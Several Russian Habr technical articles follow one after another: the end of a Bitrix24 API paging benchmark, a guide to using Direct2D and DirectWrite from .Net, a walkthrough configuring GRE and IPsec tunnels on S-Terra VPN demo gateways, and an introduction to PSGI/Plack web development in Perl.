----
Чтобы проверить эффективность этих стратегий, мы провели тест ([код теста](https://gist.github.com/leshchenko1979/970ebad4006221633b7201bce2b1ee2c)).
Тест запрашивает страницы лидов (метод `crm.lead.list`) через 3 вышеописанные стратегии (при этом стратегия "ID filter" реализована в один поток - с начала списка ID). Для каждой стратегии запрашиваются 1, 50, 100 и 200 страниц и замеряется время выполнения запроса.
Тест использует библиотеку fast\_bitrix24 для автоматического контроля скорости запросов к серверу Битрикс24.
Тест проводим на 7-й версии REST API на списке в ~35000 лидов.
### Результаты теста
```
Getting 1 pages:
ID filter: 0.3 sec.
Start increment: 0.73 sec.
Getting ID list for the 'list+get' strategy, method crm.lead: 2.17 sec.
List + get: 2.61 sec.
Getting 50 pages:
ID filter: 12.8 sec.
Start increment: 21.39 sec.
List + get: 1.84 sec.
Getting 100 pages:
ID filter: 49.67 sec.
Start increment: 39.97 sec.
List + get: 3.28 sec.
Getting 200 pages:
ID filter: 99.67 sec.
Start increment: 78.05 sec.
List + get: 6.36 sec.
```
Выводы
------
В целом, стратегии, использующие батчи и параллельные запросы ("Start increment" и "List + get"), показали себя лучше.
Однако при этом, к моему удивлению, стратегия "List + get" оказалась на порядок продуктивнее остальных, даже несмотря на то, что в ней приходится пробегаться по всему списку два раза. (Возможно, эту статью увидят разработчики Битрикс24 и объяснят этот феномен?)
Я не уверен в существовании высокоуровневых библиотек для PHP, позволяющих пользователю реализовывать такие стратегии, не парясь упаковкой запросов в батчи и организацией параллельных запросов с контролем их скорости. Но если вы пишете на Python - милости прошу использовать `fast_bitrix24` (см. [страницу на Github](https://github.com/leshchenko1979/fast_bitrix24)), который позволяет выгружать данные из Битрикс24 со скоростью до тысяч элементов в секунду. | https://habr.com/ru/post/537694/ | null | ru | null |
# Использование Direct2D и DirectWrite в .Net-среде
Несмотря что «нагуглить» в интернете можно все, для новых технологий это далеко не так. В частности, когда я захотел использовать достаточно новые технологии [Direct2D](http://msdn.microsoft.com/en-us/library/dd370990(VS.85).aspx) (не бойтесь, это никак не связано с DirectX 7) и [DirectWrite](http://msdn.microsoft.com/en-us/library/dd368038(VS.85).aspx) в своем .Net-приложении, то столкнулся с проблемой что примеров взаимодействия этих библиотек и .Net нет. Поэтому пришлось самому покопаться.
**Upd.:** переношу в C++ т.к. дотнетчикам явно не интересно.
Сначала следует пояснить что это за библиотеки. Direct2D – это новый API от Microsoft для быстрого, аппаратно-усторенного рисования двухмерной графики. Такое нововведение обрадовало бы тех, кто пока должен смиряться с тормозами GDI+ но, увы, на данный момент этот функционал доступен только из С++. Да, работа над оберткой ведется, например, командой [SlimDX](http://slimdx.org/), но использовать хочется сегодня, поэтому снова лезем в P/Invoke.
Вторая библиотечка – DirectWrite – сделана для качественного отображения текста. Под «качественным» подразумевается поддержка ClearType и OpenType-фич, которые важны в основном для тех кто любит [типографику](http://habrahabr.ru/blogs/typography). Естественно, DirectWrite намного быстрее чем другие [кустарные и неэффективные](http://habrahabr.ru/blogs/net/58627/) методы получения аналогичного результата.
Warning: все это счастье доступно через DirectX 10.1, т.е. работает только в Висте и 7ке (а также в 2008 и 2008R2 соответственно). Да и еще, для того чтобы разрабатывать под эти фреймворки нужно скачать и установить последний Windows SDK (имеется ввиду тот, который для Windows 7/2008R2, я его в подписке долго искал) т.к. by default эти фичи с Visual Studio не поставляются.
Библиотека DirectDraw использует т.н. «легковесный COM» что в переводе на русский означает что собственно COM-конструкты *à la* `QueryInterface()` не будут появляться в вашем коде слишком часто. Единственное – останутся постоянные проверки возвращаемых результатов на корректность. Да, и еще нужно после использования интерфейсов релизить их, или использовать что-нть вроде [CComPtr](http://msdn.microsoft.com/en-us/library/ezzw7k98(VS.80).aspx) (хотя для этого вроде как нужно втыкать поддержку ATL – точно не знаю т.к. не пробовал).
Помимо DirectDraw, мы будем использовать некий компонент под названием [Windows Imaging Component](http://msdn.microsoft.com/en-us/library/ms737408(VS.85).aspx) или просто WIC. Для наших (точнее моих) целей этот компонент актуален т.к. я планирую пробрасывать все тот же старый добрый `System.Drawing.Bitmap` из моего .Net-кода, и рисовать в него с помощью D2D/DWrite.
Ну что, попробуем чего-нибудь нарисовать. Я для начала сделаю прототип функции, которую буду вызывать из .Net…
> `[DllImport("Typografix.Bitmap.dll", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true,
>
>
> EntryPoint = "?RenderMarkup@@YAXPEAEPEB\_WHHH1M@Z", CharSet = CharSet.Unicode)]
>
>
> public static extern void RenderMarkup(IntPtr dst, string markup, int width,
>
>
> int height, int stride, string fontFamily, float fontSize);`
Прошу прощения за многословность в опредении – это проблема 64-битной разработки и я об этом [уже писал](http://habrahabr.ru/blogs/net/68837/). Вот собственно аналог на С++. Как вы уже наверное догадались, функция просто рисует текст на предоставленной картинке. Для начального примера пойдет.
> `MYAPI void RenderMarkup(BYTE\* dst, LPCWSTR markup, int width, int height,
>
>
> int stride, LPCWSTR fontFamily, float fontSize)
>
>
> {
>
>
> ⋮
>
>
> }`
Итак, суть всей затеи в том чтобы воспользоваться конструктами D2D и DW для того чтобы что-то там нарисовать. Первый этап – это создать фабрики, причем не одну а целых три – для Direct2D, DirectWrite и WIC соответственно. Тем кто работал в DirectX это будет знакомо:
> `IWICImagingFactory \*pWICFactory = NULL;
>
>
> ID2D1Factory \*pD2DFactory = NULL;
>
>
> IDWriteFactory \*pDWriteFactory = NULL;
>
>
> ⋮
>
>
> hr = CoCreateInstance(
>
>
> CLSID\_WICImagingFactory,
>
>
> NULL,
>
>
> CLSCTX\_INPROC\_SERVER,
>
>
> IID\_IWICImagingFactory,
>
>
> reinterpret\_cast<void \*\*>(&pWICFactory));
>
>
>
>
>
> if (SUCCEEDED(hr))
>
>
> {
>
>
> hr = D2D1CreateFactory(D2D1\_FACTORY\_TYPE\_SINGLE\_THREADED, &pD2DFactory);
>
>
> }
>
>
>
>
>
> if (SUCCEEDED(hr))
>
>
> {
>
>
> hr = DWriteCreateFactory(
>
>
> DWRITE\_FACTORY\_TYPE\_SHARED,
>
>
> \_\_uuidof(pDWriteFactory),
>
>
> reinterpret\_cast(&pDWriteFactory));
>
>
> }`
Здесь и далее я буду отделять троеточием декларацию интерфейсов от их инициализации дабы показать что декларации эти выполняются в любом случае, а инициализация – только если предыдущие шаги были правильно выполнены. Именно для этого и нужны постоянные проверки в стиле `if (SUCCEEDED(hr))`.
Самое время использовать фабрику WIC для того чтобы создать Bitmap на который мы будем рисовать. Позднее нам придется скопировать все данные из этого битмапа в наш, дотнетный – но только после того, как мы нарисуем все, что хотим.
> `IWICBitmap \*pWICBitmap = NULL;
>
>
> ⋮
>
>
> if (SUCCEEDED(hr))
>
>
> {
>
>
> hr = pWICFactory->CreateBitmap(width, height,
>
>
> GUID\_WICPixelFormat32bppBGR,
>
>
> WICBitmapCacheOnLoad, &pWICBitmap);
>
>
> }`
Инициализоровав битмап (я потратил уйму времени прежде чем нашел тот PixelFormat который работает), нужно еще найти какой-нибудь объект, который будет на этом битмапе рисовать. В отличии от GDI+, где «рисованием» занимался класс `Graphics`, в DirectDraw рисовать умеет `ID2D1RenderTarget`.
> `if (SUCCEEDED(hr))
>
>
> {
>
>
> hr = pD2DFactory->CreateWicBitmapRenderTarget(
>
>
> pWICBitmap, D2D1::RenderTargetProperties(), &pRT);
>
>
> }`
Именно этот объект будет использован нами для рисования. Естественно, что собственно картинка будет храниться в `pWICBitmap` который мы создали ранее, а наш `RenderTarget` – это лишь промежуточный объект, который позволяет делать разные реализации рисования в зависимости от существующих ресурсов.
Форматирование текста реализует интерфейс `IDWriteTextFormat`, конкретный инстанс которого нам предстоит создать. В примере ниже, мы используем дефолтные опции, а потом просим текст отображаться в левой верхней части битмапа.
> `IDWriteTextFormat \*pTextFormat = NULL;
>
>
> ⋮
>
>
> if (SUCCEEDED(hr))
>
>
> {
>
>
> hr = pDWriteFactory->CreateTextFormat(
>
>
> fontFamily,
>
>
> NULL,
>
>
> DWRITE\_FONT\_WEIGHT\_NORMAL,
>
>
> DWRITE\_FONT\_STYLE\_NORMAL,
>
>
> DWRITE\_FONT\_STRETCH\_NORMAL,
>
>
> fontSize,
>
>
> L"",
>
>
> &pTextFormat);
>
>
> }
>
>
> if (SUCCEEDED(hr))
>
>
> {
>
>
> pTextFormat->SetTextAlignment(DWRITE\_TEXT\_ALIGNMENT\_LEADING);
>
>
> pTextFormat->SetParagraphAlignment(DWRITE\_PARAGRAPH\_ALIGNMENT\_NEAR);
>
>
> }`
В отличии от DirectDraw, DirectWrite без проблем работает не только с TrueType, но и с OpenType шрифтами. Проблемы когда вы знаете что шрифт существует но система исполользует MS Sans Serif больше нет.
Прежде чем нарисовать текст, нужно создать объект типа Brush (ну прям как в GDI+, не так ли?) который будет определять «кисть», которой будет нарисован наш текст.
> `ID2D1SolidColorBrush \*pBlackBrush = NULL;
>
>
> ⋮
>
>
> if (SUCCEEDED(hr))
>
>
> {
>
>
> hr = pRT->CreateSolidColorBrush(
>
>
> D2D1::ColorF(D2D1::ColorF::Black),
>
>
> &pBlackBrush);
>
>
> }`
У нас все готово. Смело используем наш render target для отрисовки текста. Точно так же как и в DirectX, процесс рисования происходит между `Begin-` и `End-`директивами:
> `if (SUCCEEDED(hr))
>
>
> {
>
>
> pRT->BeginDraw();
>
>
> pRT->Clear(D2D1::ColorF(D2D1::ColorF::White));
>
>
> D2D1\_SIZE\_F rtSize = pRT->GetSize();
>
>
> pRT->DrawText(
>
>
> markup,
>
>
> wcslen(markup),
>
>
> pTextFormat,
>
>
> D2D1::RectF(0, 0, rtSize.width, rtSize.height),
>
>
> pBlackBrush);
>
>
> hr = pRT->EndDraw();
>
>
> }`
Теперь, когда текст отрисован, можно скопировать его в наш `System.Drawing.Bitmap`
> `WICRect r;
>
>
> r.X = r.Y = 0;
>
>
> r.Width = width;
>
>
> r.Height = height;
>
>
> hr = pWICBitmap->CopyPixels(&r, stride, sizeof(Pixel) \* width \* height, dst);`
А дальше нужно просто «отпустить» все интерфейсы, и возвращаться поскорее в мир управляемого кода.
Несмотря на то, что интерфейсы D2D пока остаются доступными только для С++ программистов, взаимодействие с .Net оказалось не таким сложным как я ожидал. Поэтому не бойтесь экспериментировать. Оставляю вас с примером текста, сгенерированного с использованием вышеописанного подхода:
 | https://habr.com/ru/post/70240/ | null | ru | null |
# 1.5 схемы на отечественном IPsec VPN. Тестирую демоверсии
### Ситуация
Я получил демоверсию продуктов С-Терра VPN версии 4.3 на три месяца. Хочу разобраться, станет ли моя инженерная жизнь легче после перехода на новую версию.
Сегодня не сложно, одного пакетика растворимого кофе 3 в 1 должно хватить. Расскажу, как получить демоверсии. Попробую собрать схемы GRE-over-IPsec и IPsec-over-GRE.
### Как получить демоверсию
Из рисунка следует, чтобы получить демоверсию нужно:
* Написать письмо на presale@s-terra.ru с корпоративного адреса;
* В письме указать ИНН вашей организации;
* Перечислить продукты и их количество.
Демоверсии действуют три месяца. Вендор не ограничивает их функциональность.
### Разворачиваю образ
Демоверсия шлюза безопасности – это образ виртуальной машины. Я использую VMWare Workstation. Полный список поддерживаемых гипервизоров и сред виртуализации размещен на сайте вендора.
Перед началом активных действий, обратите внимание, что в образе виртуальной машины по умолчанию нет сетевых интерфейсов:
Логика ясна, пользователь должен добавить столько интерфейсов, сколько ему нужно. Добавлю сразу четыре:
Теперь запускаю виртуальную машину. Сразу после запуска шлюз требует логин и пароль.
> В С-Терра Шлюз несколько консолей с разными учетными записями. Посчитаю их количество в отдельной статье. А пока:
>
> `Login as: administrator
>
> Password: s-terra`
Инициализирую шлюз. Инициализация – это последовательность действий: ввод лицензии, настройка биологического генератора случайных чисел (клавиатурный тренажер – мой рекорд 27 секунд) и создание карты сетевых интерфейсов.
### Карта сетевых интерфейсов. Стало легче
Версия 4.2 приветствовала активного пользователя сообщениями:
`Starting IPsec daemon….. failed
ERROR: Could not establish connection with daemon`
*Активный пользователь (по версии анонимного инженера) – пользователь, способный настроить что угодно быстро и без документации.*
Что-то шло не так, еще до попыток настроить IP адрес на интерфейсе. Все дело в карте сетевых интерфейсов. Нужно было выполнять:
`/bin/netifcfg enum > /home/map
/bin/netifcfg map /home/map
service networking restart`
В результате создается карта сетевых интерфейсов, которая содержит маппинг имен физических интерфейсов (0000:02:03.0) и их логических обозначений в операционной системе (eth0) и Cisco-like консоли (FastEthernet0/0):
`#Unique ID iface type OS name Cisco-like name
0000:02:03.0 phye eth0 FastEthernet0/0`
Логические обозначения интерфейсов называются алиасами. Алиасы хранятся в файле /etc/ifaliases.cf.
В версии 4.3 при первом запуске виртуальной машины карта интерфейсов создается автоматически. Если вы меняете количество сетевых интерфейсов в виртуалке, то будьте добры создать карту интерфейсов заново:
`/bin/netifcfg enum > /home/map
/bin/netifcfg map /home/map
systemctl restart networking`
### Схема 1: GRE-over-IPsec
Разворачиваю два виртуальных шлюза, коммутирую так, как показано на рисунке:
**Шаг 1. Настраиваю IP адреса и маршруты**
```
VG1(config) #
interface fa0/0
ip address 172.16.1.253 255.255.255.0
no shutdown
interface fa0/1
ip address 192.168.1.253 255.255.255.0
no shutdown
ip route 0.0.0.0 0.0.0.0 172.16.1.254
```
```
VG2(config) #
interface fa0/0
ip address 172.16.1.254 255.255.255.0
no shutdown
interface fa0/1
ip address 192.168.2.254 255.255.255.0
no shutdown
ip route 0.0.0.0 0.0.0.0 172.16.1.253
```
Проверяю IP связность:
```
root@VG1:~# ping 172.16.1.254 -c 4
PING 172.16.1.254 (172.16.1.254) 56(84) bytes of data.
64 bytes from 172.16.1.254: icmp_seq=1 ttl=64 time=0.545 ms
64 bytes from 172.16.1.254: icmp_seq=2 ttl=64 time=0.657 ms
64 bytes from 172.16.1.254: icmp_seq=3 ttl=64 time=0.687 ms
64 bytes from 172.16.1.254: icmp_seq=4 ttl=64 time=0.273 ms
--- 172.16.1.254 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 0.273/0.540/0.687/0.164 ms
```
**Шаг 2. Настраиваю GRE**
Пример настройки GRE беру из официальных сценариев. Создаю файл gre1 в директории /etc/network/interfaces.d с содержимым.
Для VG1:
```
auto gre1
iface gre1 inet static
address 1.1.1.1
netmask 255.255.255.252
pre-up ip tunnel add gre1 mode gre remote 172.16.1.254 local 172.16.1.253 key 1 ttl 64 tos inherit
pre-up ethtool -K gre1 tx off > /dev/null
pre-up ip link set gre1 mtu 1400
post-down ip link del gre1
```
Для VG2:
```
auto gre1
iface gre1 inet static
address 1.1.1.2
netmask 255.255.255.252
pre-up ip tunnel add gre1 mode gre remote 172.16.1.253 local 172.16.1.254 key 1 ttl 64 tos inherit
pre-up ethtool -K gre1 tx off > /dev/null
pre-up ip link set gre1 mtu 1400
post-down ip link del gre1
```
Поднимаю интерфейс в системе:
```
root@VG1:~# ifup gre1
root@VG2:~# ifup gre1
```
Проверяю:
```
root@VG1:~# ip address show
8: gre1@NONE: mtu 1400 qdisc noqueue state UNKNOWN group default qlen 1
link/gre 172.16.1.253 peer 172.16.1.254
inet 1.1.1.1/30 brd 1.1.1.3 scope global gre1
valid\_lft forever preferred\_lft forever
root@VG1:~# ip tunnel show
gre0: gre/ip remote any local any ttl inherit nopmtudisc
gre1: gre/ip remote 172.16.1.254 local 172.16.1.253 ttl 64 tos inherit key 1
```
В С-Терра Шлюз есть встроенный пакетный сниффер — tcpdump. Запишу дамп трафика в pcap файл:
```
root@VG2:~# tcpdump -i eth0 -w /home/dump.pcap
```
Запускаю ping между GRE интерфейсами:
```
root@VG1:~# ping 1.1.1.2 -c 4
PING 1.1.1.2 (1.1.1.2) 56(84) bytes of data.
64 bytes from 1.1.1.2: icmp_seq=1 ttl=64 time=0.918 ms
64 bytes from 1.1.1.2: icmp_seq=2 ttl=64 time=0.850 ms
64 bytes from 1.1.1.2: icmp_seq=3 ttl=64 time=0.918 ms
64 bytes from 1.1.1.2: icmp_seq=4 ttl=64 time=0.974 ms
--- 1.1.1.2 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 0.850/0.915/0.974/0.043 ms
```
GRE туннель активен и работает:
**Шаг 3. Шифруем ГОСТом GRE**
Задаю тип идентификации – по адресу. Аутентификация по предопределенному ключу (по Правилам Пользования нужно использовать цифровые сертификаты):
```
VG1(config)#
crypto isakmp identity address
crypto isakmp key KEY address 172.16.1.254
```
Задаю параметры IPsec Phase I:
```
VG1(config)#
crypto isakmp policy 1
encr gost
hash gost3411-256-tc26
auth pre-share
group vko2
```
Задаю параметры IPsec Phase II:
```
VG1(config)#
crypto ipsec transform-set TSET esp-gost28147-4m-imit
mode tunnel
```
Создаю список доступа для шифрования. Целевой трафик — GRE:
```
VG1(config)#
ip access-list extended LIST
permit gre host 172.16.1.253 host 172.16.1.254
```
Создаю криптокарту и привязываю ее к WAN интерфейсу:
```
VG1(config)#
crypto map CMAP 1 ipsec-isakmp
match address LIST
set transform-set TSET
set peer 172.16.1.253
interface fa0/0
crypto map CMAP
```
Для VG2 конфигурация зеркальная, отличия:
```
VG2(config)#
crypto isakmp key KEY address 172.16.1.253
ip access-list extended LIST
permit gre host 172.16.1.254 host 172.16.1.253
crypto map CMAP 1 ipsec-isakmp
set peer 172.16.1.254
```
Проверяю:
```
root@VG2:~# tcpdump -i eth0 -w /home/dump2.pcap
```
```
root@VG1:~# ping 1.1.1.2 -c 4
PING 1.1.1.2 (1.1.1.2) 56(84) bytes of data.
64 bytes from 1.1.1.2: icmp_seq=1 ttl=64 time=1128 ms
64 bytes from 1.1.1.2: icmp_seq=2 ttl=64 time=126 ms
64 bytes from 1.1.1.2: icmp_seq=3 ttl=64 time=1.07 ms
64 bytes from 1.1.1.2: icmp_seq=4 ttl=64 time=1.12 ms
--- 1.1.1.2 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 1.077/314.271/1128.419/472.826 ms, pipe 2
```
Статистика ISAKMP/IPsec:
```
root@VG1:~# sa_mgr show
ISAKMP sessions: 0 initiated, 0 responded
ISAKMP connections:
Num Conn-id (Local Addr,Port)-(Remote Addr,Port) State Sent Rcvd
1 1 (172.16.1.253,500)-(172.16.1.254,500) active 1086 1014
IPsec connections:
Num Conn-id (Local Addr,Port)-(Remote Addr,Port) Protocol Action Type Sent Rcvd
1 1 (172.16.1.253,*)-(172.16.1.254,*) 47 ESP tunn 480 480
```
В дампе трафика GRE пакетов нет:
Вывод: схема GRE-over-IPsec корректно работает.
### Схема 1.5: IPsec-over-GRE
Использовать IPsec-over-GRE в сети я не планирую. Собираю, потому что хочется.
Чтобы развернуть схему GRE-over-IPsec наоборот нужно:
* Исправить список доступа для шифрования – целевой трафик из LAN1 в LAN2 и наоборот;
* Настроить маршрутизацию через GRE;
* Повесить криптокарту на GRE интерфейс.
По умолчанию в Cisco-like консоли шлюза нет GRE интерфейса. Он существует только в операционной системе.
Добавляю GRE интерфейс в Cisco-like консоль. Для этого редактирую файл /etc/ifaliases.cf:
```
interface (name="FastEthernet0/0" pattern="eth0")
interface (name="FastEthernet0/1" pattern="eth1")
interface (name="FastEthernet0/2" pattern="eth2")
interface (name="FastEthernet0/3" pattern="eth3")
interface (name="Tunnel0" pattern="gre1")
interface (name="default" pattern="*")
```
где gre1 – обозначение интерфейса в операционной системе, Tunnel0 – обозначение интерфейса в Cisco-like консоли.
Пересчитываю хэш файла:
```
root@VG1:~# integr_mgr calc -f /etc/ifaliases.cf
SUCCESS: Operation was successful.
```
Теперь интерфейс Tunnel0 появился в Cisco-like консоли:
```
VG1# show run
interface Tunnel0
ip address 1.1.1.1 255.255.255.252
mtu 1400
```
Корректирую список доступа для шифрования:
```
VG1(config)#
ip access-list extended LIST
permit ip 192.168.1.0 0.0.0.255 192.168.3.0 0.0.0.255
```
Настраиваю маршрутизацию через GRE:
```
VG1(config)#
no ip route 0.0.0.0 0.0.0.0 172.16.1.254
ip route 192.168.3.0 255.255.255.0 1.1.1.2
```
Снимаю криптокарту с Fa0/0 и привязываю к GRE интерфейсу:
```
VG1(config)#
interface Tunnel0
crypto map CMAP
```
Для VG2 аналогично.
Проверяю:
```
root@VG2:~# tcpdump -i eth0 -w /home/dump3.pcap
```
```
root@VG1:~# ping 192.168.2.254 -I 192.168.1.253 -c 4
PING 192.168.2.254 (192.168.2.254) from 192.168.1.253 : 56(84) bytes of data.
64 bytes from 192.168.2.254: icmp_seq=1 ttl=64 time=492 ms
64 bytes from 192.168.2.254: icmp_seq=2 ttl=64 time=1.08 ms
64 bytes from 192.168.2.254: icmp_seq=3 ttl=64 time=1.06 ms
64 bytes from 192.168.2.254: icmp_seq=4 ttl=64 time=1.07 ms
--- 192.168.2.254 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 1.064/124.048/492.972/212.998 ms
```
Статистика ISAKMP/IPsec:
```
root@VG1:~# sa_mgr show
ISAKMP sessions: 0 initiated, 0 responded
ISAKMP connections:
Num Conn-id (Local Addr,Port)-(Remote Addr,Port) State Sent Rcvd
1 2 (172.16.1.253,500)-(172.16.1.254,500) active 1094 1022
IPsec connections:
Num Conn-id (Local Addr,Port)-(Remote Addr,Port) Protocol Action Type Sent Rcvd
1 2 (192.168.1.0-192.168.1.255,*)-(192.168.2.0-192.168.2.255,*) * ESP tunn 352 352
```
В дампе трафика ESP пакеты, инкапсулированные в GRE:
Вывод: IPsec-over-GRE работает корректно.
### Итоги
Одной чашки кофе хватило. Набросал инструкцию по получению демоверсии. Настроил GRE-over-IPsec и развернул наоборот.
Карта сетевых интерфейсов в версии 4.3 автоматическая! Тестирую дальше.
*Анонимный инженер
t.me/anonimous\_engineer* | https://habr.com/ru/post/514190/ | null | ru | null |
# Введение в разработку web-приложений на PSGI/Plack
Автор: [Дмитрий Шаматрин.](http://pragmaticperl.com/authors/6)
С разрешения автора оригинальных статей цикла я публикую цикл на Хабре.
[Оригинальная статья на сайте журнала pragmaticperl.com](http://pragmaticperl.com/issues/02/pragmaticperl-02-введение-в-разработку-web-приложений-на-psgiplack.html)
*PSGI/Plack — современный способ написания web-приложений на Perl. Практически каждый фреймворк так или иначе поддерживает или использует эту технологию. В статье представлено краткое введение, которое поможет быстро сориентироваться и двигаться дальше.*
Мы живем в такое время, когда технологии и подходы в области web-разработки меняются очень быстро. Сначала был CGI, потом, когда его стало недостаточно, появился FastCGI. FastCGI решал главную проблему CGI. В CGI при каждом обращении было необходимо перезапускать серверную программу, обмен данными происходил при помощи STDIN и STDOUT. В FastCGI взаимодействие с сервером происходит через TCP/IP или Unix Domain Socket. Теперь у нас есть PSGI.
Что это такое?
--------------
PSGI, как говорит его разработчик Tatsuhiko Miyagawa, это «Перловый суперклей для веб-фреймворков и веб-серверов». Ближайшие родственники — WSGI (Python) и Rack (Ruby). Идея тут вот в чем. Разработчик очень часто тратит довольно много времени, чтобы адаптировать свое приложение под как можно большее количество движков, а PSGI предоставляет единый интерфейс для работы с различными серверами, что сильно упрощает жизнь.
Особенности
-----------
Безусловно, формат статьи не позволяет описать полностью все нюансы, поэтому здесь и далее будут только ключевые моменты.
* для обмена информацией между клиентом и сервером используется $env (представляет из себя ссылку на хеш);
* PSGI приложение — ссылка на Perl-функцию, которая принимает в качестве параметра $env;
* функция возвращает ссылку на массив, который состоит из 3 элементов: HTTP статус, [HTTP заголовки], [Тело ответа];
* функция может вернуть и ссылку на другую функцию, но это будет рассмотрено в других более углубленных статьях;
* расширение файла, содержащего код запуска приложения, должно быть .psgi.
На данном этапе это все, что нужно для того, чтобы начать разбираться с кодом непосредственно.
PSGI-приложение
---------------
Ниже приведен код простейшего PSGI-приложения.
```
my $app = sub {
my $env = shift;
# Производим необходимые манипуляции с $env
return [200, ['Content-Type' => 'text/plain'], ["hello, world\n"]];
};
```
Сохраняем это приложение в файле app.psgi, или любом другом с расширением psgi. Смотрим на особенности. Потом на код. Потом опять на особенности. Все сходится. Запускаем.
При запуске perl app.psgi он «молча» отрабатывает, но приложение не запущено.
Основные PSGI-серверы
---------------------
Для того, чтобы запускать PSGI-приложения нам необходим PSGI-сервер. На данный момент серверов несколько.
* Twiggy
* Starman
* Feersum
* Corona
Кратко о PSGI-серверах
----------------------
* Starman — pre-forking сервер; работает довольно быстро, многое умеет из коробки, поддержку unix domain sockets, например;
* Twiggy — асинхронный сервер, базируется на AnyEvent;
* Feersum — субъективно, самый быстрый из этого всего списка; основная часть реализована в виде XS-модулей. Базируется на EV;
* Corona — асинхронный сервер, базируется на Coro.
Все эти сервера доступны на CPAN. В дальнейшем мы будем использовать Starman, затем сменим его на Twiggy, а затем на Feersum. Каждой задаче свой сервер.
Запуск приложения
-----------------
Приложение абсолютно одинаково запустится на любом из этих серверов, может быть, под Corona его придется чуть видоизменить. После установки сервера, а в нашем случае это Starman, в /usr/bin или /usr/local/bin должен появиться исполняемый файл starman. Запуск производится следующей командой:
```
/usr/local/bin/starman app.psgi
```
По умолчанию PSGI-серверы используют 5000 порт. Мы можем его изменить, запустив приложение с ключом --port 8080, например. Напомним, что PSGI — спецификация. В данном случае мы использовали эту спецификацию для написания простейшего web-приложения. Очевидно, что для нормальной разработки нам необходимо реализовать и множество вспомогательных функций, от получения GET-параметров до получения данных cookie. Этого всего не было бы без необходимого функционала.
### Plack
Plack — это реализация PSGI (в Perl есть стандартный модуль Pack, потому реализация получила имя Plack). Plack существенно облегчает нам жизнь, как разработчикам. Он содержит в себе огромное количество функций для работы с $env.
В базовой комплектации Plack состоит из довольно большого количества модулей. На данном этапе нас интересуют только эти:
* Plack
* Plack::Request
* Plack::Response
* Plack::Builder
* Plack::Middleware
Plack::Request и Plack::Response возвращают различные значения типа Hash::MultiValue, на которые стоит обратить внимание.
### Hash::MultiValue
Модуль, автором которого тоже является Tatsuhiko Miyagawa, представляет собой хеш, но с одним нюансом. Он может хранить несколько значений по одному ключу. Например: $hash->get('key') вернет value, если же значений по ключу несколько, то оно вернет последнее, а если нужны все значения, то можно воспользоваться функцией $hash->get\_all('key'), тогда результат будет ('value1','value2'). Hash::MultiValue также учитывает контекст вызова, так что будьте внимательны.
### Plack::Request
Модуль, который содержит функции для работы с запросами клиента. Методов содержит много, всегда можно ознакомиться на CPAN. В рамках этой статьи, дальше, мы будем использовать следующие методы:
* env — возвращает $env;
* method — возвращает метод запроса: GET, POST, OPTIONS, HEAD, и т.д.;
* path\_info — важный метод; возвращает локальный путь к текущему скрипту;
* parameters — возвращает параметры (x-www-form-url-encoded, параметры адресной строки) в виде Hash::MultiValue;
* uploads — возвращает параметры (переданные при помощи multipart-form-data) тоже в виде Hash::MultiValue.
### Plack::Response
* status — устанавливает статус (код ответа HTTP), будучи вызванным без параметров, возвращает ранее установленный статус;
* headers — устанавливает заголовки ответа;
* finalize — точка выхода, последняя функция приложения; возвращает PSGI-ответ согласно спецификации.
### Plack::Builder
Рассматривать методы не будем, отметим только, что это весьма гибкий маршрутизатор. Например, он позволяет устанавливать обработчик (PSGI- приложение) на локальный адрес:
```
my $app = builder {
mount "/" => builder { $my_cool_app; };
};
```
Результат — обращения по адресу / будут перенаправлены в соответствующее PSGI-приложение. В данном случае это $my\_cool\_app.
Маршруты могут быть вложенными, например:
```
my $app = builder {
mount "/" => builder {
mount "/another" => builder { $my_another_cool_app; };
mount "/" => builder { $my_cool_app; };
};
};
```
И эти маршруты могут быть вложенными. В этом примере, все, что не попадает в /another отправляется в /.
### Plack::Middleware
Базовый класс для создания middleware-приложений. Middleware это «промежуточное программное обеспечение». Используется тогда, когда нужно модифицировать PSGI-запрос или готовый PSGI-ответ, а также предоставить специфические условия для запуска определенной части приложения.
Перепишем приложение на Plack
-----------------------------
```
use strict;
use Plack;
use Plack::Request;
my $app = sub {
my $env = shift;
my $req = Plack::Request->new($env);
my $res = $req->new_response(200);
$res->body('Hello World!');
return $res->finalize();
};
```
Это простейшее приложение, использующее Plack. Оно совершенно наглядно демонстрирует принцип его работы.
На что надо обратить внимание. $app — ссылка на функцию. Очень часто, когда идет быстрое написание нечто подобного, забывается символ; после окончания ссылки на функцию или создание Plack::Request без передачи $env. Стоит быть внимательным.
Для проверки синтаксиса можно использовать perl -c app.psgi.
Вот еще один важный момент касательно написания PSGI-приложений: при формировании тела ответа стоит убедиться, что там находятся байты, а не символы (например, UTF-8). Обнаруживается такая ошибка весьма сложно. Ее наличие приводит к пустому ответу сервера с ошибкой в psgi.error:
«Wide character at syswrite»
Запускается наше приложение аналогично предыдущему.
* $req — это объект типа Plack::Request; $req содержит в себе данные запроса клиента; он получает их из хеша $env, который передается в функцию;
* $res — Plack::Response, это ответ клиенту; строится по запросу при помощи метода new\_response, в качестве параметра принимает код ответа (200 в нашем случае);
* body — устанавливает тело ответа;
* finalize — преобразование объекта ответа в ссылку на массив PSGI-ответа (который, как было описано выше, состоит из статуса, заголовков и тела ответа).
Да, Hello world это конечно неплохо, но мало функционально. Сейчас, используя весь инструментарий, попробуем написать простейшее приложение (но оно будет гораздо полезнее, правда).
Напишем API, реализующее три функции:
* первая будет принимать строку в качестве входяшего параметра и говорить о том, что строка успешно принята; адрес для обращения — localhost:8080/;
* вторая функция будет принимать строку в качестве параметра и возвращать, например, является ли эта строка палиндромом (слово или фраза, которая одинаково выглядит с обеих сторон, например — «Аргентина манит негра»); располагаться будет по адресу localhost:8080/palindrome;
* третья функция будет принимать в качестве параметра ту же строку и возвращать ее перевернутой; располагаться будет по адресу localhost:8080/reverse.
В результате написания кода у нас должно получиться нечто, умеющее следующие вещи:
* при обращении на / отвечать что все ок, если передан параметр string;
* при обращении на /palindrome проверять наличие параметра string, отвечать, является оно палиндромом или нет;
* при обращении на /reverse отдавать перевернутую строку.
Для переворачивания строки будем использовать следующую конструкцию:
```
$string = scalar reverse $string;
```
